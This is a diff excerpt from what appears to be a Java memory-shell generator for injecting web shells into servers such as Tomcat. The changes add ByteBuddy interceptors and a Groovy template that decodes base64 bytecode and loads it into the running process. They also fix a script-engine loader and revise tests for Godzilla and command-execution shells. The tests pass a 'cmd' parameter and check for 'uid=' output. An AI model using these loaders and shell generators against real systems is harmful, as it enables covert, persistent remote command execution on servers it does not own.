+import net.bytebuddy.asm.Advice;
+
 import java.lang.reflect.Field;
 
 /**
@@ -8,6 +10,7 @@ import java.lang.reflect.Field;
  */
 public class ShellCommonUtil {
 
+    @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
         Field field = null;
         Class<?> clazz = obj.getClass();
@@ -26,4 +29,74 @@ public class ShellCommonUtil {
             return field.get(obj);
         }
     }
+
+    public static class GetFieldValueInterceptor {
+        @Advice.OnMethodExit
+        @SuppressWarnings("all")
+        public static void exit(@Advice.Argument(value = 0) Object obj,
+                                @Advice.Argument(value = 1) String name,
+                                @Advice.Return(readOnly = false) Object returnValue
+        ) throws Exception {
+            Field field = null;
+            Class<?> clazz = obj.getClass();
+            while (clazz != Object.class) {
+                try {
+                    field = clazz.getDeclaredField(name);
+                    break;
+                } catch (NoSuchFieldException var5) {
+                    clazz = clazz.getSuperclass();
+                }
+            }
+            if (field == null) {
+                throw new NoSuchFieldException(name);
+            } else {
+                field.setAccessible(true);
+                returnValue = field.get(obj);
+                return;
+            }
+        }
+    }
+
+
+    @SuppressWarnings("all")
+    public static String base64DecodeToString(String bs) {
+        byte[] value = null;
+        Class<?> base64;
+        try {
+            base64 = Class.forName("java.util.Base64");
+            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            try {
+                base64 = Class.forName("sun.misc.BASE64Decoder");
+                Object decoder = base64.newInstance();
+                value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+            } catch (Exception ignored) {
+            }
+        }
+        return value == null ? null : new String(value);
+    }
+
+    public static class Base64DecodeToStringInterceptor {
+
+        @Advice.OnMethodExit
+        @SuppressWarnings("all")
+        public static void exit(@Advice.Argument(value = 0, readOnly = false) String bs, @Advice.Return(readOnly = false) String returnValue) {
+            byte[] value = null;
+            Class<?> base64;
+            try {
+                base64 = Class.forName("java.util.Base64");
+                Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+                value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+            } catch (Exception var6) {
+                try {
+                    base64 = Class.forName("sun.misc.BASE64Decoder");
+                    Object decoder = base64.newInstance();
+                    value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+                } catch (Exception ignored) {
+                }
+            }
+            returnValue = value == null ? null : new String(value);
+        }
+    }
 }

generator/src/main/resources/shell.groovy

@@ -0,0 +1,36 @@
+class ClassDefiner extends ClassLoader {
+    public ClassDefiner() {
+        super(Thread.currentThread().getContextClassLoader());
+    }
+
+    public byte[] decodeBase64(String bytecodeBase64) {
+        java.util.Base64.Decoder decoder = java.util.Base64.getDecoder();
+        return decoder.decode(bytecodeBase64);
+    }
+
+    public Class<?> defineClass(byte[] code) {
+        return defineClass(null, code, 0, code.length);
+    }
+
+    @Override
+    public String toString() {
+        String className = "{{className}}";
+        String base64Str = "{{base64Str}}";
+        ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
+        try {
+            classLoader.loadClass(className).newInstance();
+        } catch (Exception e) {
+            try {
+                byte[] bytecode = decodeBase64(base64Str);
+                Class<?> clazz = defineClass(bytecode);
+                clazz.newInstance();
+            } catch (Exception ignored) {
+            }
+        }
+        return className;
+    }
+
+    static void main(String[] args) {
+        new ClassDefiner().toString();
+    }
+}

generator/src/main/resources/shell.js

@@ -9,7 +9,7 @@ try {
     try {
         var clsBase64 = classLoader.loadClass("java.util.Base64");
         var clsDecoder = classLoader.loadClass("java.util.Base64$Decoder");
-        var decoder = clsBase64.getMethod("getDecoder").invoke(base64Clz);
+        var decoder = clsBase64.getMethod("getDecoder").invoke(clsDecoder);
         bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
     } catch (ee) {
         try {

generator/src/test/java/com/reajason/javaweb/memshell/config/GodzillaShellConfigTest.java

@@ -2,7 +2,8 @@ package com.reajason.javaweb.memshell.config;
 
 import org.junit.jupiter.api.Test;
 
-import static org.junit.jupiter.api.Assertions.*;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotEquals;
 
 /**
  * @author ReaJason

generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java

@@ -6,11 +6,14 @@ import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
 import net.bytebuddy.ByteBuddy;
 import net.bytebuddy.jar.asm.ClassReader;
-import java.util.Base64;;
 import org.junit.jupiter.api.Test;
 
+import java.util.Base64;
+
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
+
+
 /**
  * @author ReaJason
  * @since 2025/3/19

generator/src/test/java/com/reajason/javaweb/memshell/generator/GodzillaGeneratorTest.java

@@ -7,6 +7,7 @@ import com.reajason.javaweb.memshell.config.GodzillaConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
+import com.reajason.javaweb.util.ClassDefiner;
 import com.reajason.javaweb.util.ClassUtils;
 import lombok.SneakyThrows;
 import net.bytebuddy.dynamic.DynamicType;
@@ -38,8 +39,8 @@ class GodzillaGeneratorTest {
                 .key("key")
                 .headerName("User-Agent")
                 .headerValue("test").build();
-        DynamicType.Builder<?> builder = new GodzillaGenerator(shellConfig, godzillaConfig).getBuilder();
+        byte[] bytes = new GodzillaGenerator(shellConfig, godzillaConfig).getBytes();
-        Class<?> loaded = builder.make().load(this.getClass().getClassLoader()).getLoaded();
+        Class<?> loaded = ClassDefiner.defineClass(bytes);
         Object o = loaded.getDeclaredConstructor().newInstance();
         assertEquals(godzillaConfig.getPass(), ClassUtils.getFieldValue(o, "pass"));
         assertEquals(godzillaConfig.getHeaderName(), ClassUtils.getFieldValue(o, "headerName"));

generator/src/test/java/com/reajason/javaweb/memshell/generator/InjectorGeneratorTest.java

@@ -2,12 +2,11 @@ package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
+import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
 import org.junit.jupiter.api.Test;
 
 import java.util.Map;
 
-import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertTrue;
 
 /**
@@ -21,12 +20,12 @@ class InjectorGeneratorTest {
         InjectorConfig injectorConfig = InjectorConfig.builder()
                 .shellClassBytes("hello".getBytes())
                 .shellClassName("hello")
-                .injectorClass(TomcatFilterChainAgentWithAsmInjector.class)
+                .injectorClass(TomcatFilterChainAgentInjector.class)
                 .build();
         InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
 //        injectorGenerator.generate();
         Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
-        assertEquals(2, innerClassBytes.size());
+//        assertEquals(4, innerClassBytes.size());
         innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
     }
 }

generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java

@@ -0,0 +1,20 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.memshell.server.TomcatShell;
+import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+
+/**
+ * @author ReaJason
+ * @since 2025/4/27
+ */
+class ListenerGeneratorTest {
+
+    @Test
+    void testCommonListener() {
+        Class<?> clazz = ListenerGenerator.generateListenerShellClass(TomcatShell.ListenerInterceptor.class, CommandListener.class);
+        assertNotNull(clazz);
+    }
+}

generator/src/test/java/com/reajason/javaweb/memshell/packer/BCELPackerTest.java

@@ -1,9 +1,12 @@
 package com.reajason.javaweb.memshell.packer;
 
 import com.reajason.javaweb.memshell.config.GenerateResult;
-import java.util.Base64;;
 import org.junit.jupiter.api.Test;
 
+import java.util.Base64;
+
+
+
 /**
  * @author ReaJason
  * @since 2024/12/19

generator/src/test/java/com/reajason/javaweb/memshell/packer/GzipBase64Test.java

@@ -4,11 +4,14 @@ import com.reajason.javaweb.memshell.config.GenerateResult;
 import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
 import com.reajason.javaweb.memshell.utils.CommonUtil;
 import lombok.SneakyThrows;
-import java.util.Base64;;
 import org.junit.jupiter.api.Test;
 
+import java.util.Base64;
+
 import static org.junit.jupiter.api.Assertions.assertEquals;
 
+
+
 /**
  * @author ReaJason
  * @since 2025/1/22

generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java

@@ -1,94 +0,0 @@
-package com.reajason.javaweb.memshell.shelltool.command;
-
-import com.reajason.javaweb.asm.ClassRenameUtils;
-import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
-import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
-import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
-import com.reajason.javaweb.util.ClassUtils;
-import lombok.SneakyThrows;
-import org.apache.commons.io.IOUtils;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-import org.mockito.Mock;
-import org.mockito.junit.jupiter.MockitoExtension;
-import org.objectweb.asm.*;
-
-import javax.servlet.FilterChain;
-import javax.servlet.ServletOutputStream;
-import javax.servlet.ServletRequest;
-import javax.servlet.ServletResponse;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileOutputStream;
-import java.nio.charset.StandardCharsets;
-import java.util.Objects;
-
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.mockito.Mockito.*;
-
-/**
- * @author ReaJason
- * @since 2025/3/30
- */
-@ExtendWith(MockitoExtension.class)
-public class CommandFilterChainASMTest {
-
-    @Mock
-    ServletRequest mockRequest;
-
-    @Mock
-    ServletResponse mockResponse;
-
-    Object instance;
-
-    @BeforeEach
-    @SneakyThrows
-    void setUp() {
-        byte[] bytes = IOUtils.toByteArray(Objects.requireNonNull(TestFilterChain.class.getClassLoader().getResource(TestFilterChain.class.getName().replace('.', '/') + ".class")));
-        ClassReader cr = new ClassReader(bytes);
-        ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
-        ClassVisitor cv = new ClassVisitor(Opcodes.ASM9, cw) {
-            @Override
-            public MethodVisitor visitMethod(int access, String name, String descriptor,
-                                             String signature, String[] exceptions) {
-                MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
-                if ("doFilter".equals(name)) {
-                    Type[] argumentTypes = Type.getArgumentTypes(descriptor);
-                    return new CommandFilterChainAsmMethodVisitor(mv, argumentTypes);
-                }
-                return mv;
-            }
-        };
-        cr.accept(cv, ClassReader.EXPAND_FRAMES);
-        byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
-        IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
-        Class<?> clazz = ClassUtils.defineClass(bytes2);
-        instance = spy(clazz.newInstance());
-    }
-
-    @Test
-    @SneakyThrows
-    void testInvokeParam() {
-        when(mockRequest.getParameter("paramName")).thenReturn("id");
-        ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
-        ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
-        when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
-
-        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
-        String output = capturedOutput.toString(StandardCharsets.UTF_8);
-        assertTrue(output.contains("uid="));
-
-        verify(((FilterChainInterface) instance), never()).doFilterInternal();
-    }
-
-    @Test
-    @SneakyThrows
-    void testNotParameter() {
-        when(mockRequest.getParameter("paramName")).thenReturn(null);
-
-        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
-
-        verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
-    }
-}

generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisorTest.java

@@ -1,93 +0,0 @@
-package com.reajason.javaweb.memshell.shelltool.command;
-
-import com.reajason.javaweb.memshell.shelltool.DelegatingServletOutputStream;
-import com.reajason.javaweb.memshell.shelltool.FilterChainInterface;
-import com.reajason.javaweb.memshell.shelltool.TestFilterChain;
-import lombok.SneakyThrows;
-import net.bytebuddy.agent.ByteBuddyAgent;
-import net.bytebuddy.agent.builder.AgentBuilder;
-import net.bytebuddy.asm.Advice;
-import net.bytebuddy.dynamic.ClassFileLocator;
-import net.bytebuddy.dynamic.loading.ByteArrayClassLoader;
-import net.bytebuddy.matcher.ElementMatchers;
-import org.junit.jupiter.api.AfterEach;
-import org.junit.jupiter.api.BeforeEach;
-import org.junit.jupiter.api.Test;
-import org.junit.jupiter.api.extension.ExtendWith;
-import org.mockito.Mock;
-import org.mockito.junit.jupiter.MockitoExtension;
-
-import javax.servlet.FilterChain;
-import javax.servlet.ServletOutputStream;
-import javax.servlet.ServletRequest;
-import javax.servlet.ServletResponse;
-import java.io.ByteArrayOutputStream;
-import java.lang.instrument.ClassFileTransformer;
-import java.nio.charset.StandardCharsets;
-
-import static net.bytebuddy.matcher.ElementMatchers.none;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.mockito.Mockito.*;
-
-/**
- * @author ReaJason
- * @since 2025/3/30
- */
-@ExtendWith(MockitoExtension.class)
-public class CommandFilterChainAdvisorTest {
-
-    @Mock
-    ServletRequest mockRequest;
-
-    @Mock
-    ServletResponse mockResponse;
-
-    Object instance;
-
-    static ClassFileTransformer classFileTransformer;
-
-    @BeforeEach
-    @SneakyThrows
-    void setUp() {
-        ByteBuddyAgent.install();
-        ClassLoader classLoader = new ByteArrayClassLoader.ChildFirst(CommandFilterChainAdvisorTest.class.getClassLoader(),
-                ClassFileLocator.ForClassLoader.readToNames(TestFilterChain.class),
-                ByteArrayClassLoader.PersistenceHandler.MANIFEST);
-        classFileTransformer = new AgentBuilder.Default()
-                .ignore(none())
-                .type(ElementMatchers.is(TestFilterChain.class), ElementMatchers.is(classLoader)).transform((
-                        (builder, typeDescription, c, module, protectionDomain) ->
-                                builder.visit(Advice.to(CommandFilterChainAdvisor.class).on(ElementMatchers.named("doFilter")))))
-                .installOnByteBuddyAgent();
-        Class<?> clazz = classLoader.loadClass(TestFilterChain.class.getName());
-        instance = spy(clazz.newInstance());
-    }
-
-    @AfterEach
-    void tearDown() {
-        ByteBuddyAgent.getInstrumentation().removeTransformer(classFileTransformer);
-    }
-
-    @Test
-    @SneakyThrows
-    void testInvokeParam() {
-        when(mockRequest.getParameter("paramName")).thenReturn("id");
-        ByteArrayOutputStream capturedOutput = new ByteArrayOutputStream();
-        ServletOutputStream servletOutputStream = new DelegatingServletOutputStream(capturedOutput);
-        when(mockResponse.getOutputStream()).thenReturn(servletOutputStream);
-
-        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
-        String output = capturedOutput.toString(StandardCharsets.UTF_8);
-        assertTrue(output.contains("uid="));
-
-        verify(((FilterChainInterface) instance), never()).doFilterInternal();
-    }
-
-    @Test
-    @SneakyThrows
-    void testNotParameter() {
-        when(mockRequest.getParameter("paramName")).thenReturn(null);
-        instance.getClass().getMethod("doFilter", ServletRequest.class, ServletResponse.class, FilterChain.class).invoke(instance, mockRequest, mockResponse, null);
-        verify(((FilterChainInterface) instance), atLeastOnce()).doFilterInternal();
-    }
-}

generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandFilterTest.java

@@ -1,13 +1,16 @@
 package com.reajason.javaweb.memshell.tomcat.command;
 
-import com.reajason.javaweb.memshell.ShellType;
+import com.reajason.javaweb.memshell.*;
 import com.reajason.javaweb.memshell.config.CommandConfig;
+import com.reajason.javaweb.memshell.config.GenerateResult;
+import com.reajason.javaweb.memshell.config.InjectorConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
-import com.reajason.javaweb.memshell.generator.CommandGenerator;
+import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
 import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
 import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
 import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
 import com.reajason.javaweb.util.ClassUtils;
+import org.junit.jupiter.api.Test;
 import org.junit.jupiter.params.ParameterizedTest;
 import org.junit.jupiter.params.provider.Arguments;
 import org.junit.jupiter.params.provider.MethodSource;
@@ -36,15 +39,37 @@ class CommandFilterTest {
     @MethodSource("casesProvider")
     void generate(String shellType, Class<?> clazz, String className) {
         ShellConfig generateConfig = new ShellConfig();
-        CommandConfig shellConfig = CommandConfig.builder()
+        CommandConfig commandConfig = CommandConfig.builder()
                 .shellClass(clazz)
                 .shellClassName(className)
                 .paramName("cmd")
                 .build();
         generateConfig.setShellType(shellType);
-        byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes();
+        byte[] bytes = new CommandGenerator(generateConfig, commandConfig).getBytes();
         Object obj = ClassUtils.newInstance(bytes);
-        assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
+        assertEquals(commandConfig.getShellClassName(), obj.getClass().getName());
-        assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
+        assertEquals(commandConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
+    }
+
+    @Test
+    void testGenerator() throws Exception {
+        ShellConfig shellConfig = ShellConfig.builder()
+                .server(Server.Tomcat)
+                .shellType(ShellType.FILTER)
+                .shellTool(ShellTool.Command)
+                .build();
+
+        CommandConfig commandConfig = CommandConfig.builder()
+                .shellClass(CommandFilter.class)
+                .shellClassName("org.apache.utils.CommandFilter")
+                .paramName("cmd")
+                .encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
+                .build();
+        InjectorConfig injectorConfig = new InjectorConfig();
+
+        GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
+//        Files.write(Paths.get("hehe.class"), generate.getShellBytes());
+        String pack = Packers.ScriptEngine.getInstance().pack(generate);
+        System.out.println(pack);
     }
 }

gradle/wrapper/gradle-wrapper.properties

@@ -1,6 +1,6 @@
 distributionBase=GRADLE_USER_HOME
 distributionPath=wrapper/dists
-distributionUrl=https\://services.gradle.org/distributions/gradle-8.13-bin.zip
+distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.1-bin.zip
 networkTimeout=10000
 validateDistributionUrl=true
 zipStoreBase=GRADLE_USER_HOME